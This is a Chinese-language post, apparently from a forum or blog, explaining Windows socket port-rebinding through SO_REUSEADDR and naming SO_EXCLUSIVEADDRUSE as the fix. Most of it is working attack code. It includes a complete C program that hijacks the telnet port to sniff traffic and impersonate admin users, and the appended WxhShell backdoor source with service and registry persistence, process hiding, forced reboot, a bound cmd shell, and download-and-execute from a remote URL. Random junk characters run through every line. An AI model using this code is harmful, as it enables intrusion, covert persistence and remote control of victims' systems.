在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jJ^p
? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v7rEUS- t*<@>] k saddr.sin_family = AF_INET;
DDdMWH^o7 J%|!KQl saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9 *>@s *E"QFirk0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;;z4EGr sZ`C
"1cX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>)g`;iO b$/TfpNdo 这意味着什么?意味着可以进行如下的攻击:
Cx>iSx :f^=~#! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9f
,$JjX[ ;XFo:? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4k9O6 f.?p"~! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
N?!]^jI, j^DoILw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
F+.:Ry FS *ea%KE": 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#X&`gDW y,$kU1yH7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
fmH"&>Loc 9
yH/5' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<gU^#gsGra X"V,3gDG #include
J7q]|9Hus| #include
u&)+~X #include
(n'Mf #include
MCN}pi DWORD WINAPI ClientThread(LPVOID lpParam);
FJ}RT*7_C int main()
sQt]Y&_/@ {
B+:'Ld]( WORD wVersionRequested;
1EvAV,v" DWORD ret;
V=!tZ[4z$h WSADATA wsaData;
'J+dTs;0 BOOL val;
/15e-(Zz/ SOCKADDR_IN saddr;
g_z%L?N SOCKADDR_IN scaddr;
n W2[x; int err;
<0,c{e SOCKET s;
E. @n Rj# SOCKET sc;
;B[*f?y- int caddsize;
H]@M00C HANDLE mt;
|2mm@): DWORD tid;
3OUZR5_$ wVersionRequested = MAKEWORD( 2, 2 );
rzC\8Dd err = WSAStartup( wVersionRequested, &wsaData );
#7S[Ch}O if ( err != 0 ) {
aa!o::; printf("error!WSAStartup failed!\n");
P;R`22\3 return -1;
_8$arjx= }
Sp+ zP-3 saddr.sin_family = AF_INET;
;q:.&dak1 c`]_Q1'30w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
NUVFG; 0eQwi l@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ha6jbni saddr.sin_port = htons(23);
T/NeoU3 p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DyiyH%SSD {
CR$\$- printf("error!socket failed!\n");
1#H=<iJ return -1;
*QAcp` ;* }
,v;P@RL|g val = TRUE;
_97A9wHj //SO_REUSEADDR选项就是可以实现端口重绑定的
VUF^ r7e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o#V}l^uU= {
Gni<@;} printf("error!setsockopt failed!\n");
d`>'< return -1;
D$|@:
mW }
aiP.\`>} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<Wgp$qt; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$5XE'm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>3R)&N BD6oN] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h$`P|#V& {
U_ j\UQC ret=GetLastError();
Hk'D@(hS printf("error!bind failed!\n");
0zD[mt return -1;
RY=B>398: }
XW]'by listen(s,2);
$RxS<_tj while(1)
&6-udZB- {
?Rlo<f:Mf caddsize = sizeof(scaddr);
+{
Q]$b //接受连接请求
.W_'6Q+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
KiN8N=z if(sc!=INVALID_SOCKET)
i
v7^! {
ay}}v7)GM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=<ngtN if(mt==NULL)
,DUD 4 [3 {
906b= printf("Thread Creat Failed!\n");
wO6
D\# break;
@BbqYX }
Wr.G9zq.+ }
tz#Fy?pe CloseHandle(mt);
/="~Jo }
%3B0s?,I closesocket(s);
!9yOFd_ WSACleanup();
R
pUq#Y:a return 0;
5>{S^i~! }
cE3g7(a DWORD WINAPI ClientThread(LPVOID lpParam)
Bf37/kkf( {
9os>k* SOCKET ss = (SOCKET)lpParam;
!]1'?8 SOCKET sc;
/"w%?Ea unsigned char buf[4096];
CmyCne
SOCKADDR_IN saddr;
R-Y07A long num;
oWg"f* DWORD val;
V/C":!; DWORD ret;
E1 )7gio //如果是隐藏端口应用的话,可以在此处加一些判断
'!8'Xo@Go3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
L1'R6W~%dN saddr.sin_family = AF_INET;
!zc?o?~z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~I'1\1 saddr.sin_port = htons(23);
{OA2';3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~\;s}Fv. {
]3B8D<p printf("error!socket failed!\n");
L\1&$|? return -1;
u-yVc*<, }
cB,O"- val = 100;
T0=8 U;
= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hfUN~89; {
5Oh>r K( ret = GetLastError();
Uy$1X return -1;
<Lz/J-w }
fO6i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Pc"g
{
-\ {.]KL ret = GetLastError();
s];jroW@u return -1;
cj=6_k }
/_yJ;l/K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:Fe}.* t {
@)"= b!q= printf("error!socket connect failed!\n");
vwA d6Tm closesocket(sc);
TGUlJLT closesocket(ss);
ces|HPBa&6 return -1;
CKoRq|QG_ }
<kJ,E[4` while(1)
AmSrc. {
X8l|^[2F //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Rn(6Fk? //如果是嗅探内容的话,可以再此处进行内容分析和记录
BO6u<cu"- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)C@O7m*.4 num = recv(ss,buf,4096,0);
gE_i#=bw if(num>0)
a___SYl
'K send(sc,buf,num,0);
3t*e|Ih&j5 else if(num==0)
a
(mgz&* break;
g ss 3e& num = recv(sc,buf,4096,0);
X*Qtbm, if(num>0)
W$I^Ej}>$ send(ss,buf,num,0);
9ozK}Cg4 else if(num==0)
0G=bu5 break;
,bLHkBK }
-_p +4tV closesocket(ss);
>Z\{P8@k0 closesocket(sc);
gq'}LcV return 0 ;
~$bkWb*RJ }
?3#W7sF swfcA\7R 3p%B ==========================================================
lU}y%J@ {#Lj,o 下边附上一个代码,,WXhSHELL
LhfI"fc na5:)j4< ==========================================================
j.b7<Vr4; s%{8$>8V. #include "stdafx.h"
"RkbT O 4GiHp7Y&A #include <stdio.h>
5
aT>8@$Z^ #include <string.h>
o`]o(OP #include <windows.h>
ZSBa+3;z #include <winsock2.h>
x=/`W^t2 #include <winsvc.h>
l\?HeVk^ #include <urlmon.h>
kvdiDo o~_ wx #pragma comment (lib, "Ws2_32.lib")
B;3lF;3` #pragma comment (lib, "urlmon.lib")
|SO?UIWp u(Y! _ #define MAX_USER 100 // 最大客户端连接数
0L
^WTq #define BUF_SOCK 200 // sock buffer
-$@$ #define KEY_BUFF 255 // 输入 buffer
+5zLQ>]z d-W@/J #define REBOOT 0 // 重启
T;4& ^5n #define SHUTDOWN 1 // 关机
i>]1E^yF ~)ZMGx #define DEF_PORT 5000 // 监听端口
8Moe8X#3 FR7DuH/f) #define REG_LEN 16 // 注册表键长度
DR d|m<Z #define SVC_LEN 80 // NT服务名长度
5`!Bj0Uf ^tw\F7 // 从dll定义API
3!&PI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o!\Q, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
')bas#=uP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HFtl4P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
="k9
y =J2cX` // wxhshell配置信息
O!,WH?r struct WSCFG {
go6XUe int ws_port; // 监听端口
{pV\]E\] char ws_passstr[REG_LEN]; // 口令
SRUg2)d int ws_autoins; // 安装标记, 1=yes 0=no
/8)-j}gZa char ws_regname[REG_LEN]; // 注册表键名
4/z
K3%J char ws_svcname[REG_LEN]; // 服务名
FnoE\2}9 char ws_svcdisp[SVC_LEN]; // 服务显示名
0`LR!X char ws_svcdesc[SVC_LEN]; // 服务描述信息
{.D^2mj| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J'Z!`R| int ws_downexe; // 下载执行标记, 1=yes 0=no
n!Ic.T3PA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Q)n6.%V/e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
P0Q]Ds| gB&8TE~Y };
t#fbagTON 17\5NgB // default Wxhshell configuration
xrXfLujn% struct WSCFG wscfg={DEF_PORT,
I3ZlKI "xuhuanlingzhe",
%![%wI? 1,
N=JZtf/i "Wxhshell",
Ih&rXQ$ "Wxhshell",
pG|+\k/B "WxhShell Service",
*2?-6 "Wrsky Windows CmdShell Service",
CTNeh%K; "Please Input Your Password: ",
dGNg[ 1,
'e/= !"T "
http://www.wrsky.com/wxhshell.exe",
"vH>xBR[% "Wxhshell.exe"
tK|jh };
pX\Y:hCug *_qW;l7 // 消息定义模块
rz@FUU:& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
rt_k } char *msg_ws_prompt="\n\r? for help\n\r#>";
Q^B !^_M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^57G]$Q char *msg_ws_ext="\n\rExit.";
V5.=08L char *msg_ws_end="\n\rQuit.";
2;v1YKY char *msg_ws_boot="\n\rReboot...";
cC NyW2' char *msg_ws_poff="\n\rShutdown...";
k3 YDnMRA9 char *msg_ws_down="\n\rSave to ";
<\9M+ T[?toqkD>z char *msg_ws_err="\n\rErr!";
P2j"L#% char *msg_ws_ok="\n\rOK!";
<{z*6FM!' AjW5H* char ExeFile[MAX_PATH];
y<h~jz#hkq int nUser = 0;
4YT d HANDLE handles[MAX_USER];
}#b[@3/T int OsIsNt;
mmJ$+$JEk cLZaQsS% SERVICE_STATUS serviceStatus;
~!PaBS3A SERVICE_STATUS_HANDLE hServiceStatusHandle;
eB]R<a60 =k{ n! e // 函数声明
Ai~j
q int Install(void);
&ody[k?' int Uninstall(void);
+s`HTf int DownloadFile(char *sURL, SOCKET wsh);
t&oNC6 int Boot(int flag);
w@jC#E\ void HideProc(void);
J%:D%=9 ) int GetOsVer(void);
UhI T!x int Wxhshell(SOCKET wsl);
ik;S!S\v void TalkWithClient(void *cs);
, sOdc!![ int CmdShell(SOCKET sock);
;b-d2R int StartFromService(void);
0-=PP@W int StartWxhshell(LPSTR lpCmdLine);
6AA"JX ++d%D9*V< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
g5\EVcHkz VOID WINAPI NTServiceHandler( DWORD fdwControl );
wqZ*$M :Sd"~\N+ // 数据结构和表定义
q#6K'=AC SERVICE_TABLE_ENTRY DispatchTable[] =
03!!# 5iJ {
{SQ#n@Q&$ {wscfg.ws_svcname, NTServiceMain},
U#X6KRZ~g {NULL, NULL}
Jtv~n };
g]ct6-m a%IJ8t+mn // 自我安装
]46-TuH int Install(void)
){sn!5= {
t=6[FK char svExeFile[MAX_PATH];
KkCA*GS HKEY key;
T2%{pcdV/ strcpy(svExeFile,ExeFile);
fbjT"jSzw av!'UZP // 如果是win9x系统,修改注册表设为自启动
]9 ArT$ if(!OsIsNt) {
,P T5-9 m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JDI1l_Ga RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Wpdn^=dhL RegCloseKey(key);
[%1 87dz:D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d.)%C]W{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ij|+MX RegCloseKey(key);
;
*@lH%u return 0;
NCKhrDd& }
xc&&UKd }
@j{n
V@| }
i:@n6GW+iw else {
5>nbA8 7R{(\s\9: // 如果是NT以上系统,安装为系统服务
($vaj; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NmH:/xU?^ if (schSCManager!=0)
Z7Gl^4zn {
.Jvy0B} B SC_HANDLE schService = CreateService
v<Ozr:lL (
0c,)T1NG > schSCManager,
~R$Ko(N wscfg.ws_svcname,
pAY[XN wscfg.ws_svcdisp,
%z_L}L SERVICE_ALL_ACCESS,
RoY"Haa SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XSv)=]{ SERVICE_AUTO_START,
jW<aAd SERVICE_ERROR_NORMAL,
)d^b\On svExeFile,
SR<*yO NULL,
4_i6qu(4 NULL,
1k:s~m?! NULL,
;Q}pmBkqB NULL,
#n5DK{e NULL
X *fle );
o(|fapK. if (schService!=0)
GQvJj4LJp {
Wb7z&vj CloseServiceHandle(schService);
\qA^3L~;5 CloseServiceHandle(schSCManager);
G#f(oGn : strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+'!4kwT R strcat(svExeFile,wscfg.ws_svcname);
:VvJx] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
x$WdW+glZ- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l`'
lqnhv RegCloseKey(key);
/iwL$xQQ return 0;
-|/kg7IO\ }
NA<6s]Cs. }
gT=RJB CloseServiceHandle(schSCManager);
"{X_[ }
d=$1Z.] }
'y<<ce* 3v:c".O2O return 1;
J_tI]?jrU }
l4LowV7 U*R // 自我卸载
}w%W A&"W int Uninstall(void)
sP`
k{xG {
$mF(6<w HKEY key;
F#
a)"$j; B*,Qw_3dG if(!OsIsNt) {
,iYKtS3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;A3aUN;"I RegDeleteValue(key,wscfg.ws_regname);
Cjn)`Q8 RegCloseKey(key);
M%#H>X\/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|TE\ ] RegDeleteValue(key,wscfg.ws_regname);
6Y-sc*5 RegCloseKey(key);
SaA9)s return 0;
i(pevu }
|#rP~Nj) }
<zdo%~ba }
P?Fm<s: else {
s(3iGuT /EXubU73 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
L3
VyW8Y if (schSCManager!=0)
HHMv%H]M {
YYiT,Xp<A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
P: 3%#d~q if (schService!=0)
\NN5'DBx {
|AS`MsbI9 if(DeleteService(schService)!=0) {
`J}-U\4F{ CloseServiceHandle(schService);
w*3DIVlxL CloseServiceHandle(schSCManager);
cz6\qSh\, return 0;
F87aIJ.pGN }
pSml+A: CloseServiceHandle(schService);
ap%
Y} }
h4 X > CloseServiceHandle(schSCManager);
H>/LC* 8- }
MY$-D+#/` }
U(t_uc5q iI.d8}A return 1;
G"'[dL)N> }
F#az& 5uJ{#Zd // 从指定url下载文件
s/=.a2\ int DownloadFile(char *sURL, SOCKET wsh)
^HM9'*&KJ {
0
3/<A ^ HRESULT hr;
nRL2Z5iO- char seps[]= "/";
W2CQk char *token;
%!_%%p,f char *file;
"k%B;!We) char myURL[MAX_PATH];
9"TPAywd char myFILE[MAX_PATH];
#ivN-WKCl /j`vN strcpy(myURL,sURL);
iOO1\9{@ token=strtok(myURL,seps);
aRh1Q=^@(4 while(token!=NULL)
C*f3PB=H_ {
'r2VWavT file=token;
6IQkP9P( token=strtok(NULL,seps);
"~uo4n~H }
5{@Hpj/B xr<.r4 GetCurrentDirectory(MAX_PATH,myFILE);
K#LG7faj strcat(myFILE, "\\");
RlH~<|XK strcat(myFILE, file);
!]v &/ send(wsh,myFILE,strlen(myFILE),0);
NxyrP**j send(wsh,"...",3,0);
g^qbd$ } hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
FlPPz if(hr==S_OK)
z12c9k%s return 0;
i7RW8* else
R
Wd#)3 return 1;
J|Xu]fg0 \B<A.,i4 }
.eSMI!Y= nU6WT | // 系统电源模块
<X{hW^??) int Boot(int flag)
f/VrenZ_ {
dLtn,qCX0^ HANDLE hToken;
"Y7
]t:8 TOKEN_PRIVILEGES tkp;
Q.N, Q`P KC`~\sYRN] if(OsIsNt) {
Q;3v ]h_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4GY:N6qe' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tl uyx tkp.PrivilegeCount = 1;
'[6o(~* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\>>^eZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_#nP->0) if(flag==REBOOT) {
yM8<)6= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p^s k?E return 0;
)L%i"=<Bdy }
&>Ko}?w else {
J6)&b7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=:!$'q: return 0;
DsY$ }
#n[1%8l, }
Yp_R+a^ else {
9b0M'x'W5 if(flag==REBOOT) {
M_4:~&N$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$2M dxw5 return 0;
WG_20JdJY }
N!`8-ap\^ else {
\3ZQ:E}5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
l5m5H,` return 0;
MZ8jL,a^ }
S4jt*]w5b }
l^F%fIRp) FZEK-]h. return 1;
Zy -&g: }
ZL-YoMHc+_ '|\et aD // win9x进程隐藏模块
R`RLq1WA void HideProc(void)
{c3u!}mW {
YJ&K0%R bYKyR}e HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W:8*Z8?7 if ( hKernel != NULL )
{\?zqIM {
#()u=) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
g]z[!&%Ahs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[;Q8xvVZ' FreeLibrary(hKernel);
8"#Ix1# }
b$24${*' sp0j2<$a return;
CFW\ }
b83__i w
:w // 获取操作系统版本
+!I7(gL int GetOsVer(void)
xz+Y 1fYT {
$=c79Al( OSVERSIONINFO winfo;
tp3>aNj winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
b,U3b})( GetVersionEx(&winfo);
M=n_;3,o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
9\/T #EP return 1;
@[qGoai else
Q/%(&4>'y return 0;
k+"+s
bsW' }
',MiD=_ l#FW#`f // 客户端句柄模块
vFK&63 int Wxhshell(SOCKET wsl)
7H-,:8 {
P~)ndaQ SOCKET wsh;
<&?gpRK struct sockaddr_in client;
GnE%C2L- DWORD myID;
zs@#.OEH FA.h?yfr while(nUser<MAX_USER)
T41&;?- {
N
F[v/S int nSize=sizeof(client);
xb!h?F& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(O
N
\-* if(wsh==INVALID_SOCKET) return 1;
,_ XDCu @ UXXN\D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
uhuwQS=X if(handles[nUser]==0)
ZD9UE3- closesocket(wsh);
~h~K"GbC? else
Fr}e-a nUser++;
H?M#7K~[ }
AQ!FJ(X( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)
#/@Jo2F |k wkikGQS return 0;
qzVmsxBNP }
w$9aTL7 )
0x*>;"o // 关闭 socket
No)v&P% void CloseIt(SOCKET wsh)
*-timVlaE {
74 c1i closesocket(wsh);
D!.
r$i) nUser--;
Wt&tu2 ExitThread(0);
BX|+"AeF }
Phsdn`, 5q`d=L, // 客户端请求句柄
O jkbv void TalkWithClient(void *cs)
^|6%~jkD5 {
W^2Q"c#7F {d\erG( SOCKET wsh=(SOCKET)cs;
()}B]? char pwd[SVC_LEN];
1n! JfsU char cmd[KEY_BUFF];
APT'2-I_ char chr[1];
T/
CI?sn int i,j;
s D]W/ rsP3?.E while (nUser < MAX_USER) {
uf*sI
0gBD if(wscfg.ws_passstr) {
_C v({m&N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
yA%(!v5UT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EO'[AU% ~ //ZeroMemory(pwd,KEY_BUFF);
vgzNT4o i=0;
U9;C#9E while(i<SVC_LEN) {
5|ih>? C/( (Al.hEs' // 设置超时
L&qzX) fd_set FdRead;
DRD%pm( struct timeval TimeOut;
R1z\b~@" FD_ZERO(&FdRead);
D-.XSIEMu FD_SET(wsh,&FdRead);
Ox"4 y TimeOut.tv_sec=8;
?aInn:FE TimeOut.tv_usec=0;
+]Oq{v:e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
oy!W$ ?6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
m:<cLc :. Xc2Oa if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p+ymtPF pwd
=chr[0]; OHzI!,2]
if(chr[0]==0xd || chr[0]==0xa) { YMG{xGPtM
pwd=0; 22L#\qVkl
break; XF1x*zc
} 0X\,!FL
i++; >2gemTy
} vN%zk(?T
J<:qzwh
// 如果是非法用户,关闭 socket *-bR~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [3s,U4a
} rMqWXGl`(
" *xQN "F
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /sENoQR
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I<*U^e
8#S|jBV
while(1) { rr2'bf<]
b1>%%#
ZeroMemory(cmd,KEY_BUFF); >R/^|hnJ
ARW|wXhyf
// 自动支持客户端 telnet标准 -^8gZk/(W
j=0; t&u,Od
while(j<KEY_BUFF) { $Q1:>i@I|g
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @R >4b
cmd[j]=chr[0]; +nRO<
if(chr[0]==0xa || chr[0]==0xd) { x+(h#+F
cmd[j]=0; Z>Nr"7k
break; $%VFk 53I
} JoA^9AYhR
j++; L <Q1acoZm
} ;$(a+?
+bvY*^i
// 下载文件 MP?9k )f
if(strstr(cmd,"http://")) { |_aE~_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .O'S@ %]
if(DownloadFile(cmd,wsh)) yNAvXkp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .l5y!?
else Zb`}/%\7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pL>Q'{7s3
} kRnh20I
else { +L*2 6ar6
M)6_Tal
switch(cmd[0]) { GAbX.9[V
wFpt#_fS
// 帮助 noa?p&Y1m
case '?': { L #p-AK
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {) 4D1
break; qev1bBW
} MuYr?1<q
// 安装 R>[2}R30
case 'i': { -]\%a=]
if(Install()) eh nN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `DO`c>>K
else }u5;YNmXxF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w``t"v4
break; @DfjeS)u^
} aDR<5_Yb
// 卸载 Yt!UIl\<
case 'r': { _Qs)~
if(Uninstall()) p0? XR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$I~y D
else cC1nC76[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tTe\#o`
break; {w}PV5<
} j% !
// 显示 wxhshell 所在路径 ;^lVIS%&{
case 'p': { `4}zB#3
char svExeFile[MAX_PATH]; W}+Q!T=
strcpy(svExeFile,"\n\r"); O[3J Px
strcat(svExeFile,ExeFile); &6FRw0GX
send(wsh,svExeFile,strlen(svExeFile),0); "lx}.
break; o\1"ux;b
} `Z>4}<~+
// 重启 :}FMauHh
case 'b': { $jo}?Y+
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $}2m%$vJO
if(Boot(REBOOT)) FVT_%"%C9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \06fP4?
else { 6cVaO@/(
closesocket(wsh); 'wvZnb
ExitThread(0); 1wuLw Ad
} !0`44Gbq
break; 9s6, &'
} Xoml
// 关机 52/^>=t
case 'd': { "d/x`Dx
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B4pheKZ2
if(Boot(SHUTDOWN)) 5R?iTB1,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<9MbMG
else { FgrOZI;_
closesocket(wsh); k]`I3>/L
ExitThread(0); Sb> ;k(;`:
} .1.n{4z>:
break; 0vQ@n7
} fOm=#:O
// 获取shell \gki!!HQ
case 's': { Nj*J~&6G
CmdShell(wsh); U:~O^
closesocket(wsh); !FZb3U@
ExitThread(0); B-|:l7
break; 0Q_AF`"
} '{QbjG%<P
// 退出 <tMiI)0%
case 'x': { sKB])mf]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E).Nu
CloseIt(wsh); L,p5:EW8.
break; {tk42}8k
} IX']s;b
// 离开 {[61LQ6V9
case 'q': { UMpC2)5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :R{Xd{?
closesocket(wsh); HZ5*PXg~
WSACleanup(); q El:2 <
exit(1); ?lnX."eAdB
break; us"SM\X#
} uNxR#S
} xV}E3Yj2#
} !3v!BJ#+,&
}?$d~]t)
// 提示信息 Z<;<!+,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fMlxtj+5
} rg"W1m[k
} `XB(d@%
*eH[~4
return; -i:Zi}f
} ha1 J^e
q!$ZBw-7>A
// shell模块句柄 $L)9'X
int CmdShell(SOCKET sock) ]$KyZHj{
{ D\
HmY_
STARTUPINFO si; A?ma5h
ZeroMemory(&si,sizeof(si)); u^s{r`/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =&U JFu
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NYM$0v`0YK
PROCESS_INFORMATION ProcessInfo; $fPf/yQmC
char cmdline[]="cmd"; vY7C!O/y_k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "uDLty?*k
return 0; K8XX O "
} ;}#tm9S;
8OqG{jmG
// 自身启动模式 2.p7fu
int StartFromService(void) =Jg5J5
{ h2`W~g_
typedef struct yP :>vFd7
{ ~!E%GCyFy
DWORD ExitStatus; 6c^2Nl8e
DWORD PebBaseAddress; QY8I_VF
DWORD AffinityMask;
k]u0US9/
DWORD BasePriority; Q[;!z1ur
ULONG UniqueProcessId; 1?]Gl+}
ULONG InheritedFromUniqueProcessId; w{?nX6a@p
